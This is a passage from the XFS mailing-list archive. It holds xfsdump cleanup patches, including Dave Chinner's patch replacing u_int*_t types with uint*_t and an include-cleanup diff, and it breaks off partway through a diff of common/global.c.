index 8de137c..b6ce4fa 100644 --- a/invutil/invidx.c +++ b/invutil/invidx.c @@ -19,9 +19,13 @@ #include #include +#include +#include +#include #include #include #include +#include #include "types.h" #include "mlog.h" diff --git a/invutil/invutil.c b/invutil/invutil.c index b75db14..e1c8868 100644 --- a/invutil/invutil.c +++ b/invutil/invutil.c @@ -19,11 +19,15 @@ #include #include +#include +#include #include #include #include #include #include +#include +#include #include "types.h" #include "mlog.h" diff --git a/invutil/screen.c b/invutil/screen.c index 12074f0..c4b79d8 100644 --- a/invutil/screen.c +++ b/invutil/screen.c @@ -18,6 +18,9 @@ #include #include + +#include +#include #include #include "cmenu.h" diff --git a/invutil/stobj.c b/invutil/stobj.c index a74ba0f..eb04385 100644 --- a/invutil/stobj.c +++ b/invutil/stobj.c @@ -18,9 +18,13 @@ #include #include + +#include +#include #include #include #include +#include #include "types.h" #include "mlog.h" diff --git a/librmt/rmtabort.c b/librmt/rmtabort.c index 3efa651..a7db4b1 100644 --- a/librmt/rmtabort.c +++ b/librmt/rmtabort.c @@ -21,6 +21,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ +#include #include "rmtlib.h" /* diff --git a/librmt/rmtclose.c b/librmt/rmtclose.c index a155366..97f53c7 100644 --- a/librmt/rmtclose.c +++ b/librmt/rmtclose.c @@ -21,6 +21,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ +#include #include "rmtlib.h" static int _rmt_close(int); diff --git a/librmt/rmtcommand.c b/librmt/rmtcommand.c index fbd7a6a..82c9032 100644 --- a/librmt/rmtcommand.c +++ b/librmt/rmtcommand.c @@ -22,6 +22,8 @@ */ #include +#include +#include #include "rmtlib.h" diff --git a/librmt/rmtfstat.c b/librmt/rmtfstat.c index 3506567..92a49d7 100644 --- a/librmt/rmtfstat.c +++ b/librmt/rmtfstat.c @@ -24,6 +24,8 @@ #include "rmtlib.h" #include +#include +#include #include #include diff --git a/librmt/rmtioctl.c b/librmt/rmtioctl.c index 4c108fb..bd6f887 100644 --- a/librmt/rmtioctl.c +++ b/librmt/rmtioctl.c @@ -21,17 +21,19 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ +#include #include - -#include "rmtlib.h" -#include "swap.h" - #include #include #include #include #include +#include "config.h" +#include "rmtlib.h" +#include "swap.h" + + /* * uses old_mtget IRIX structure since we don't bother * sending the "V" version command. diff --git a/librmt/rmtlib.h b/librmt/rmtlib.h index bc6961c..1f877ca 100644 --- a/librmt/rmtlib.h +++ b/librmt/rmtlib.h @@ -27,9 +27,6 @@ * */ - -#include - /* * Note that local vs remote file descriptors are distinquished * by adding a bias to the remote descriptors. This is a quick diff --git a/librmt/rmtlseek.c b/librmt/rmtlseek.c index 8903886..bf8c0fa 100644 --- a/librmt/rmtlseek.c +++ b/librmt/rmtlseek.c @@ -21,7 +21,9 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ +#include #include +#include #include "rmtlib.h" static off_t _rmt_lseek(int, off_t, int); diff --git a/librmt/rmtmsg.c b/librmt/rmtmsg.c index 17addd1..d28a1f2 100644 --- a/librmt/rmtmsg.c +++ b/librmt/rmtmsg.c @@ -21,6 +21,11 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ +#include +#include +#include + +#include "config.h" #include "rmtlib.h" /* diff --git a/librmt/rmtopen.c b/librmt/rmtopen.c index 6a05ab3..4bf9383 100644 --- a/librmt/rmtopen.c +++ b/librmt/rmtopen.c @@ -24,13 +24,15 @@ #include #include #include +#include +#include #include #include #include #include #include - +#include "config.h" #include "rmtlib.h" #define RMT_DEBUG_FILE "/tmp/librmt_debug" /* file for debug output on server */ diff --git a/librmt/rmtread.c b/librmt/rmtread.c index d5a840e..3456901 100644 --- a/librmt/rmtread.c +++ b/librmt/rmtread.c @@ -21,6 +21,8 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ +#include +#include #include #include "rmtlib.h" diff --git a/librmt/rmtstatus.c b/librmt/rmtstatus.c index 8528bc4..21d909d 100644 --- a/librmt/rmtstatus.c +++ b/librmt/rmtstatus.c @@ -21,6 +21,8 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ +#include +#include #include #include "rmtlib.h" diff --git a/librmt/rmtwrite.c b/librmt/rmtwrite.c index c42b1ab..9e5a1a3 100644 --- a/librmt/rmtwrite.c +++ b/librmt/rmtwrite.c @@ -21,6 +21,8 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ +#include +#include #include #include "rmtlib.h" diff --git a/restore/bag.c b/restore/bag.c index 8c7a216..3927877 100644 --- a/restore/bag.c +++ b/restore/bag.c @@ -24,6 +24,8 @@ #include #include +#include "config.h" + #include "types.h" #include "mlog.h" #include "bag.h" diff --git a/restore/content.c b/restore/content.c index 4796aea..b02e38a 100644 --- a/restore/content.c +++ b/restore/content.c @@ -19,6 +19,8 @@ #include #include +#include +#include #include #include #include @@ -35,6 +37,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "timeutil.h" diff --git a/restore/dirattr.c b/restore/dirattr.c index c829808..a15abe5 100644 --- a/restore/dirattr.c +++ b/restore/dirattr.c @@ -29,6 +29,8 @@ #include #include +#include +#include #include #include #include @@ -37,6 +39,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "util.h" diff --git a/restore/inomap.c b/restore/inomap.c index 2c62afc..e5bcb55 100644 --- a/restore/inomap.c +++ b/restore/inomap.c @@ -19,6 +19,8 @@ #include #include +#include +#include #include #include #include @@ -27,6 +29,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "util.h" diff --git a/restore/namreg.c b/restore/namreg.c index c64833d..18ba6d9 100644 --- a/restore/namreg.c +++ b/restore/namreg.c @@ -19,12 +19,17 @@ #include #include +#include +#include #include #include #include #include #include #include +#include + +#include "config.h" #include "types.h" #include "lock.h" diff --git a/restore/node.c b/restore/node.c index f0297a5..046f2f6 100644 --- a/restore/node.c +++ b/restore/node.c @@ -19,12 +19,16 @@ #include #include +#include +#include #include #include #include #include #include +#include "config.h" + #include "types.h" #include "mlog.h" #include "win.h" diff --git a/restore/tree.c b/restore/tree.c index d377590..98f6952 100644 --- a/restore/tree.c +++ b/restore/tree.c @@ -19,7 +19,11 @@ #include #include +#include +#include #include +#include +#include #include #include #include @@ -29,6 +33,9 @@ #include #include #include +#include + +#include "config.h" #include "types.h" #include "exit.h" diff --git a/restore/win.c b/restore/win.c index a9f0239..3ca2af8 100644 --- a/restore/win.c +++ b/restore/win.c @@ -27,6 +27,8 @@ #include #include +#include "config.h" + #include "types.h" #include "mlog.h" #include "qlock.h" -- 2.5.0 From dave@fromorbit.com Thu Oct 15 20:45:32 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3CFBA7F5A for ; Thu, 15 Oct 2015 20:45:32 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2C8C630405F for ; Thu, 15 Oct 2015 18:45:32 -0700 (PDT) X-ASG-Debug-ID: 1444959920-04cbb035a92e150002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id IJ69ofcK1ZuoMArI for ; Thu, 15 Oct 2015 18:45:22 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2CsBwDrVSBW/ySkLHlWCIMmgUKoYwEBAQEBAQaOB5AMTQEBAQEBAYELhCcBBRoBDC8zCBgZGDkDGxmILcQkhi+Jew5jDIQPBYc9hVKJDoZBiDKHXoVpjHFjgUoBCwE3Ax2BaSozhB8BBxcHgSIBAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail07.adl2.internode.on.net with ESMTP; 16 Oct 2015 12:15:17 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1Zmu4u-00019t-Ta for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:05 +1100 Received: from dave by disappointment with local (Exim 4.86) (envelope-from ) id 1Zmu4u-000065-Sl for xfs@oss.sgi.com; Fri, 16 Oct 2015 12:45:04 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 4/8] cleanup: kill u_int*_t types Date: Fri, 16 Oct 2015 12:44:57 +1100 X-ASG-Orig-Subj: [PATCH 4/8] cleanup: kill u_int*_t types Message-Id: <1444959901-31319-5-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 2.5.0 In-Reply-To: <1444959901-31319-1-git-send-email-david@fromorbit.com> References: <1444959901-31319-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1444959922 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner They are the same as uint*_t type defined in , so seek and destroy these to reduce the type proliferation issues that this code has. Signed-off-by: Dave Chinner --- common/content_inode.h | 78 ++++++++++++++++++++++++------------------------- common/drive.h | 4 +-- common/drive_minrmt.c | 56 +++++++++++++++++------------------ common/drive_scsitape.c | 40 ++++++++++++------------- common/global.c | 20 ++++++------- common/global.h | 8 ++--- common/hsmapi.c | 10 +++---- common/hsmapi.h | 4 +-- common/inventory.c | 4 +-- common/inventory.h | 4 +-- common/main.c | 10 +++---- common/media.h | 10 +++---- common/rec_hdr.h | 4 +-- common/types.h | 17 +++++++---- dump/content.c | 66 ++++++++++++++++++++--------------------- dump/inomap.c | 30 +++++++++---------- dump/inomap.h | 8 ++--- inventory/inv_api.c | 6 ++-- inventory/inv_core.c | 4 +-- inventory/inv_idx.c | 18 ++++++------ inventory/inv_mgr.c | 4 +-- inventory/inv_priv.h | 32 ++++++++++---------- inventory/inv_stobj.c | 46 ++++++++++++++--------------- inventory/inventory.h | 12 ++++---- inventory/testmain.c | 2 +- invutil/invidx.c | 6 ++-- restore/content.c | 20 ++++++------- restore/dirattr.c | 54 +++++++++++++++++----------------- restore/dirattr.h | 12 ++++---- restore/inomap.c | 24 +++++++-------- restore/inomap.h | 6 ++-- restore/namreg.c | 2 +- restore/namreg.h | 2 +- restore/tree.c | 6 ++-- restore/tree.h | 4 +-- 35 files changed, 319 insertions(+), 314 deletions(-) diff --git a/common/content_inode.h b/common/content_inode.h index 9013ca4..a69a9a0 100644 --- a/common/content_inode.h +++ b/common/content_inode.h @@ -88,19 +88,19 @@ struct content_inode_hdr { /* starting point of media file contents */ startpt_t cih_endpt; /* 18 70 */ /* starting point of next stream */ - u_int64_t cih_inomap_hnkcnt; /* 8 78 */ + uint64_t cih_inomap_hnkcnt; /* 8 78 */ - u_int64_t cih_inomap_segcnt; /* 8 80 */ + uint64_t cih_inomap_segcnt; /* 8 80 */ - u_int64_t cih_inomap_dircnt; /* 8 88 */ + uint64_t cih_inomap_dircnt; /* 8 88 */ - u_int64_t cih_inomap_nondircnt; /* 8 90 */ + uint64_t cih_inomap_nondircnt; /* 8 90 */ xfs_ino_t cih_inomap_firstino; /* 8 98 */ xfs_ino_t cih_inomap_lastino; /* 8 a0 */ - u_int64_t cih_inomap_datasz; /* 8 a8 */ + uint64_t cih_inomap_datasz; /* 8 a8 */ /* bytes of non-metadata dumped */ char cih_pad2[ CONTENT_INODE_HDR_SZ - 0xa8 ]; /* 18 c0 */ /* padding */ @@ -158,27 +158,27 @@ typedef struct timestruct timestruct_t; struct bstat { /* bytes accum */ xfs_ino_t bs_ino; /* inode number 8 8 */ - u_int32_t bs_mode; /* type and mode 4 c */ - u_int32_t bs_nlink; /* number of links 4 10 */ + uint32_t bs_mode; /* type and mode 4 c */ + uint32_t bs_nlink; /* number of links 4 10 */ int32_t bs_uid; /* user id 4 14 */ int32_t bs_gid; /* group id 4 18 */ - u_int32_t bs_rdev; /* device value 4 1c */ + uint32_t bs_rdev; /* device value 4 1c */ int32_t bs_blksize; /* block size 4 20 */ off64_t bs_size; /* file size 8 28 */ timestruct_t bs_atime; /* access time 8 30 */ timestruct_t bs_mtime; /* modify time 8 38 */ timestruct_t bs_ctime; /* inode change time 8 40 */ int64_t bs_blocks; /* number of blocks 8 48 */ - u_int32_t bs_xflags; /* extended flags 4 4c */ + uint32_t bs_xflags; /* extended flags 4 4c */ int32_t bs_extsize; /* extent size 4 50 */ int32_t bs_extents; /* number of extents 4 54 */ - u_int32_t bs_gen; /* generation count 4 58 */ - u_int16_t bs_projid_lo; /* low 16 of project id 2 5a */ - u_int16_t bs_forkoff; /* inode fork offset 2 5c */ - u_int16_t bs_projid_hi; /* hi 16 of project id 2 5e */ + uint32_t bs_gen; /* generation count 4 58 */ + uint16_t bs_projid_lo; /* low 16 of project id 2 5a */ + uint16_t bs_forkoff; /* inode fork offset 2 5c */ + uint16_t bs_projid_hi; /* hi 16 of project id 2 5e */ char bs_pad[ 10 ]; /* for expansion e 68 */ - u_int32_t bs_dmevmask; /* DMI event mask 4 6c */ - u_int16_t bs_dmstate; /* DMI state info 2 6e */ + uint32_t bs_dmevmask; /* DMI event mask 4 6c */ + uint16_t bs_dmstate; /* DMI state info 2 6e */ char bs_pad1[ 18 ]; /* for expansion 12 80 */ /* NOTE: old dumps didn't always * zero first 2 bytes of bs_pad1 */ @@ -216,12 +216,12 @@ bstat_projid(struct bstat *bs) struct filehdr { int64_t fh_offset; int32_t fh_flags; - u_int32_t fh_checksum; + uint32_t fh_checksum; bstat_t fh_stat; char fh_pad2[ FILEHDR_SZ - sizeof( int64_t ) - sizeof( int32_t ) - - sizeof( u_int32_t ) + - sizeof( uint32_t ) - sizeof( bstat_t ) ]; }; @@ -260,7 +260,7 @@ struct extenthdr { off64_t eh_offset; int32_t eh_type; int32_t eh_flags; - u_int32_t eh_checksum; + uint32_t eh_checksum; char eh_pad[ 4 ]; }; @@ -298,7 +298,7 @@ typedef struct extenthdr extenthdr_t; * a sequence of directory entries is always terminated with a null direnthdr_t. * this is detected by looking for a zero ino. */ -typedef u_int32_t gen_t; +typedef uint32_t gen_t; #define DIRENTHDR_ALIGN 8 @@ -307,8 +307,8 @@ typedef u_int32_t gen_t; struct direnthdr { xfs_ino_t dh_ino; gen_t dh_gen; - u_int32_t dh_checksum; - u_int16_t dh_sz; /* overall size of record */ + uint32_t dh_checksum; + uint16_t dh_sz; /* overall size of record */ char dh_name[ 6 ]; }; @@ -320,9 +320,9 @@ typedef struct direnthdr direnthdr_t; struct direnthdr_v1 { xfs_ino_t dh_ino; - u_int16_t dh_gen; /* generation count & DENTGENMASK of ref'ed inode */ - u_int16_t dh_sz; /* overall size of record */ - u_int32_t dh_checksum; + uint16_t dh_gen; /* generation count & DENTGENMASK of ref'ed inode */ + uint16_t dh_sz; /* overall size of record */ + uint32_t dh_checksum; char dh_name[ 8 ]; }; @@ -353,11 +353,11 @@ typedef struct direnthdr_v1 direnthdr_v1_t; #define EXTATTRHDR_ALIGN 8 struct extattrhdr { - u_int32_t ah_sz; /* overall size of extended attribute record */ - u_int16_t ah_valoff; /* byte offset within record of value */ - u_int16_t ah_flags; /* see EXTATTRHDR_FLAGS_... below */ - u_int32_t ah_valsz; /* size of value */ - u_int32_t ah_checksum; /* hdr checksum */ + uint32_t ah_sz; /* overall size of extended attribute record */ + uint16_t ah_valoff; /* byte offset within record of value */ + uint16_t ah_flags; /* see EXTATTRHDR_FLAGS_... below */ + uint32_t ah_valsz; /* size of value */ + uint32_t ah_checksum; /* hdr checksum */ }; typedef struct extattrhdr extattrhdr_t; @@ -381,15 +381,15 @@ typedef struct extattrhdr extattrhdr_t; */ /* Routines for calculating and validating checksums on xfsdump headers. - * The header length must be an integral number of u_int32_t's. + * The header length must be an integral number of uint32_t's. */ -static inline u_int32_t +static inline uint32_t calc_checksum(void *bufp, size_t len) { - u_int32_t sum = 0; - u_int32_t *sump = bufp; - u_int32_t *endp = sump + len / sizeof(u_int32_t); - assert(len % sizeof(u_int32_t) == 0); + uint32_t sum = 0; + uint32_t *sump = bufp; + uint32_t *endp = sump + len / sizeof(uint32_t); + assert(len % sizeof(uint32_t) == 0); while (sump < endp) sum += *sump++; return ~sum + 1; @@ -398,10 +398,10 @@ calc_checksum(void *bufp, size_t len) static inline bool_t is_checksum_valid(void *bufp, size_t len) { - u_int32_t sum = 0; - u_int32_t *sump = bufp; - u_int32_t *endp = sump + len / sizeof(u_int32_t); - assert(len % sizeof(u_int32_t) == 0); + uint32_t sum = 0; + uint32_t *sump = bufp; + uint32_t *endp = sump + len / sizeof(uint32_t); + assert(len % sizeof(uint32_t) == 0); while (sump < endp) sum += *sump++; return sum == 0 ? BOOL_TRUE : BOOL_FALSE; diff --git a/common/drive.h b/common/drive.h index b0efa4c..89b143e 100644 --- a/common/drive.h +++ b/common/drive.h @@ -102,9 +102,9 @@ #define DRIVE_HDR_SZ sizeofmember( global_hdr_t, gh_upper ) struct drive_hdr { - u_int32_t dh_drivecnt; /* 4 4 */ + uint32_t dh_drivecnt; /* 4 4 */ /* number of drives used to dump the fs */ - u_int32_t dh_driveix; /* 4 8 */ + uint32_t dh_driveix; /* 4 8 */ /* 0-based index of the drive used to dump this stream */ int32_t dh_strategyid; /* 4 c */ /* ID of the drive strategy used to produce this dump */ diff --git a/common/drive_minrmt.c b/common/drive_minrmt.c index 21eb09e..848d794 100644 --- a/common/drive_minrmt.c +++ b/common/drive_minrmt.c @@ -246,7 +246,7 @@ typedef struct drive_context drive_context_t; extern void usage( void ); #ifdef DUMP -extern u_int64_t hdr_mfilesz; +extern uint64_t hdr_mfilesz; #endif /* DUMP */ /* remote tape protocol declarations (should be a system header file) @@ -329,10 +329,10 @@ static int validate_media_file_hdr( drive_t *drivep ); static void calc_max_lost( drive_t *drivep ); static void display_ring_metrics( drive_t *drivep, int mlog_flags ); #ifdef CLRMTAUD -static u_int32_t rewind_and_verify( drive_t *drivep ); -static u_int32_t erase_and_verify( drive_t *drivep ); -static u_int32_t bsf_and_verify( drive_t *drivep ); -static u_int32_t fsf_and_verify( drive_t *drivep ); +static uint32_t rewind_and_verify( drive_t *drivep ); +static uint32_t erase_and_verify( drive_t *drivep ); +static uint32_t bsf_and_verify( drive_t *drivep ); +static uint32_t fsf_and_verify( drive_t *drivep ); #else /* CLRMTAUD */ static short rewind_and_verify( drive_t *drivep ); static short erase_and_verify( drive_t *drivep ); @@ -399,7 +399,7 @@ static drive_ops_t drive_ops = { do_quit, /* do_quit */ }; -static u_int32_t cmdlineblksize = 0; +static uint32_t cmdlineblksize = 0; /* definition of locally defined global functions ****************************/ @@ -440,7 +440,7 @@ ds_match( int argc, char *argv[], drive_t *drivep ) c ); return -10; } - cmdlineblksize = ( u_int32_t )atoi( optarg ); + cmdlineblksize = ( uint32_t )atoi( optarg ); errno = 0; fd = open( drivep->d_pathname, O_RDONLY ); if ( fd < 0 ) @@ -1003,13 +1003,13 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) */ currentoffset = contextp->dc_reccnt * ( off64_t )tape_recsz; if ( contextp->dc_recp ) { - u_int32_t recoff; + uint32_t recoff; #ifdef DEBUG rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; #endif assert( contextp->dc_nextp >= contextp->dc_recp ); - recoff = ( u_int32_t )( contextp->dc_nextp + recoff = ( uint32_t )( contextp->dc_nextp - contextp->dc_recp ); assert( recoff <= tape_recsz ); @@ -1032,7 +1032,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) + ( off64_t )rechdrp->rec_used; if ( wantedoffset >= nextrecoffset ) { - u_int32_t recoff; + uint32_t recoff; size_t wantedcnt; char *dummybufp; size_t actualcnt; @@ -1048,7 +1048,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) /* figure how much to ask for */ assert( contextp->dc_nextp >= contextp->dc_recp ); - recoff = ( u_int32_t )( contextp->dc_nextp + recoff = ( uint32_t )( contextp->dc_nextp - contextp->dc_recp ); wantedcnt = ( size_t )( rechdrp->rec_used @@ -1232,11 +1232,11 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) assert( wantedoffset - currentoffset < ( off64_t )tape_recsz ); wantedcnt = ( size_t )( wantedoffset - currentoffset ); if ( contextp->dc_recp ) { - u_int32_t recoff; + uint32_t recoff; #ifdef DEBUG rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; #endif - recoff = ( u_int32_t )( contextp->dc_nextp + recoff = ( uint32_t )( contextp->dc_nextp - contextp->dc_recp ); assert( recoff <= tape_recsz ); @@ -1269,13 +1269,13 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) */ currentoffset = contextp->dc_reccnt * ( off64_t )tape_recsz; if ( contextp->dc_recp ) { - u_int32_t recoff; + uint32_t recoff; #ifdef DEBUG rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; #endif assert( contextp->dc_nextp >= contextp->dc_recp ); - recoff = ( u_int32_t )( contextp->dc_nextp + recoff = ( uint32_t )( contextp->dc_nextp - contextp->dc_recp ); assert( recoff <= tape_recsz ); @@ -1522,7 +1522,7 @@ huntQIC: p < contextp->dc_recendp ; p += QIC_BLKSZ ) { - if ( *( u_int64_t * )p == STAPE_MAGIC ) { + if ( *( uint64_t * )p == STAPE_MAGIC ) { goto adjustQIC; } } @@ -2921,10 +2921,10 @@ static void tape_rec_checksum_set( drive_context_t *contextp, char *bufp ) { rec_hdr_t *rechdrp = ( rec_hdr_t * )bufp; - u_int32_t *beginp = ( u_int32_t * )bufp; - u_int32_t *endp = ( u_int32_t * )( bufp + tape_recsz ); - u_int32_t *p; - u_int32_t accum; + uint32_t *beginp = ( uint32_t * )bufp; + uint32_t *endp = ( uint32_t * )( bufp + tape_recsz ); + uint32_t *p; + uint32_t accum; if ( ! contextp->dc_recchksumpr ) { return; @@ -2943,10 +2943,10 @@ static bool_t tape_rec_checksum_check( drive_context_t *contextp, char *bufp ) { rec_hdr_t *rechdrp = ( rec_hdr_t * )bufp; - u_int32_t *beginp = ( u_int32_t * )bufp; - u_int32_t *endp = ( u_int32_t * )( bufp + tape_recsz ); - u_int32_t *p; - u_int32_t accum; + uint32_t *beginp = ( uint32_t * )bufp; + uint32_t *endp = ( uint32_t * )( bufp + tape_recsz ); + uint32_t *p; + uint32_t accum; if ( contextp->dc_recchksumpr && INT_GET(rechdrp->ischecksum, ARCH_CONVERT) ) { accum = 0; @@ -3886,7 +3886,7 @@ display_ring_metrics( drive_t *drivep, int mlog_flags ) } #ifdef CLRMTAUD -static u_int32_t +static uint32_t #else /* CLRMTAUD */ static short #endif /* CLRMTAUD */ @@ -3913,7 +3913,7 @@ rewind_and_verify( drive_t *drivep ) } #ifdef CLRMTAUD -static u_int32_t +static uint32_t #else /* CLRMTAUD */ static short #endif /* CLRMTAUD */ @@ -3945,7 +3945,7 @@ erase_and_verify( drive_t *drivep ) } #ifdef CLRMTAUD -static u_int32_t +static uint32_t #else /* CLRMTAUD */ static short #endif /* CLRMTAUD */ @@ -3957,7 +3957,7 @@ bsf_and_verify( drive_t *drivep ) } #ifdef CLRMTAUD -static u_int32_t +static uint32_t #else /* CLRMTAUD */ static short #endif /* CLRMTAUD */ diff --git a/common/drive_scsitape.c b/common/drive_scsitape.c index 605675f..06ba2f4 100644 --- a/common/drive_scsitape.c +++ b/common/drive_scsitape.c @@ -288,7 +288,7 @@ typedef long mtstat_t; extern void usage( void ); #ifdef DUMP -extern u_int64_t hdr_mfilesz; +extern uint64_t hdr_mfilesz; #endif /* DUMP */ /* remote tape protocol declarations (should be a system header file) @@ -446,7 +446,7 @@ static drive_ops_t drive_ops = { do_quit, /* do_quit */ }; -static u_int32_t cmdlineblksize = 0; +static uint32_t cmdlineblksize = 0; /* definition of locally defined global functions ****************************/ @@ -633,7 +633,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) c ); return -10; } - cmdlineblksize = ( u_int32_t )atoi( optarg ); + cmdlineblksize = ( uint32_t )atoi( optarg ); break; #ifdef DUMP case GETOPT_OVERWRITE: @@ -1116,13 +1116,13 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) */ currentoffset = contextp->dc_reccnt * ( off64_t )tape_recsz; if ( contextp->dc_recp ) { - u_int32_t recoff; + uint32_t recoff; #ifdef DEBUG rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; #endif assert( contextp->dc_nextp >= contextp->dc_recp ); - recoff = ( u_int32_t )( contextp->dc_nextp + recoff = ( uint32_t )( contextp->dc_nextp - contextp->dc_recp ); assert( recoff <= tape_recsz ); @@ -1145,7 +1145,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) + ( off64_t )rechdrp->rec_used; if ( wantedoffset >= nextrecoffset ) { - u_int32_t recoff; + uint32_t recoff; size_t wantedcnt; char *dummybufp; size_t actualcnt; @@ -1161,7 +1161,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) /* figure how much to ask for */ assert( contextp->dc_nextp >= contextp->dc_recp ); - recoff = ( u_int32_t )( contextp->dc_nextp + recoff = ( uint32_t )( contextp->dc_nextp - contextp->dc_recp ); wantedcnt = ( size_t )( rechdrp->rec_used @@ -1345,11 +1345,11 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) assert( wantedoffset - currentoffset < ( off64_t )tape_recsz ); wantedcnt = ( size_t )( wantedoffset - currentoffset ); if ( contextp->dc_recp ) { - u_int32_t recoff; + uint32_t recoff; #ifdef DEBUG rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; #endif - recoff = ( u_int32_t )( contextp->dc_nextp + recoff = ( uint32_t )( contextp->dc_nextp - contextp->dc_recp ); assert( recoff <= tape_recsz ); @@ -1382,13 +1382,13 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) */ currentoffset = contextp->dc_reccnt * ( off64_t )tape_recsz; if ( contextp->dc_recp ) { - u_int32_t recoff; + uint32_t recoff; #ifdef DEBUG rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; #endif assert( contextp->dc_nextp >= contextp->dc_recp ); - recoff = ( u_int32_t )( contextp->dc_nextp + recoff = ( uint32_t )( contextp->dc_nextp - contextp->dc_recp ); assert( recoff <= tape_recsz ); @@ -1665,7 +1665,7 @@ huntQIC: p < contextp->dc_recendp ; p += QIC_BLKSZ ) { - if ( *( u_int64_t * )p == STAPE_MAGIC ) { + if ( *( uint64_t * )p == STAPE_MAGIC ) { goto adjustQIC; } } @@ -3614,10 +3614,10 @@ static void tape_rec_checksum_set( drive_context_t *contextp, char *bufp ) { rec_hdr_t *rechdrp = ( rec_hdr_t * )bufp; - u_int32_t *beginp = ( u_int32_t * )bufp; - u_int32_t *endp = ( u_int32_t * )( bufp + tape_recsz ); - u_int32_t *p; - u_int32_t accum; + uint32_t *beginp = ( uint32_t * )bufp; + uint32_t *endp = ( uint32_t * )( bufp + tape_recsz ); + uint32_t *p; + uint32_t accum; if ( ! contextp->dc_recchksumpr ) { return; @@ -3636,10 +3636,10 @@ static bool_t tape_rec_checksum_check( drive_context_t *contextp, char *bufp ) { rec_hdr_t *rechdrp = ( rec_hdr_t * )bufp; - u_int32_t *beginp = ( u_int32_t * )bufp; - u_int32_t *endp = ( u_int32_t * )( bufp + tape_recsz ); - u_int32_t *p; - u_int32_t accum; + uint32_t *beginp = ( uint32_t * )bufp; + uint32_t *endp = ( uint32_t * )( bufp + tape_recsz ); + uint32_t *p; + uint32_t accum; if ( contextp->dc_recchksumpr && INT_GET(rechdrp->ischecksum, ARCH_CONVERT)) { accum = 0; diff --git a/common/global.c b/common/global.c index 2129941..ea7ad6d 100644 --- a/common/global.c +++ b/common/global.c @@ -96,7 +96,7 @@ global_hdr_alloc( int argc, char *argv[ ] ) /* fill in the host id: typecast to fit into a 64 bit field */ - ghdrp->gh_ipaddr = ( u_int64_t )( unsigned long )gethostid( ); + ghdrp->gh_ipaddr = ( uint64_t )( unsigned long )gethostid( ); #ifdef DUMP uuid_generate( ghdrp->gh_dumpid ); @@ -243,10 +243,10 @@ global_hdr_free( global_hdr_t *ghdrp ) void global_hdr_checksum_set( global_hdr_t *hdrp ) { - u_int32_t *beginp = ( u_int32_t * )&hdrp[ 0 ]; - u_int32_t *endp = ( u_int32_t * )&hdrp[ 1 ]; - u_int32_t *p; - u_int32_t accum; + uint32_t *beginp = ( uint32_t * )&hdrp[ 0 ]; + uint32_t *endp = ( uint32_t * )&hdrp[ 1 ]; + uint32_t *p; + uint32_t accum; hdrp->gh_checksum = 0; accum = 0; @@ -263,10 +263,10 @@ global_hdr_checksum_set( global_hdr_t *hdrp ) bool_t global_hdr_checksum_check( global_hdr_t *hdrp ) { - u_int32_t *beginp = ( u_int32_t 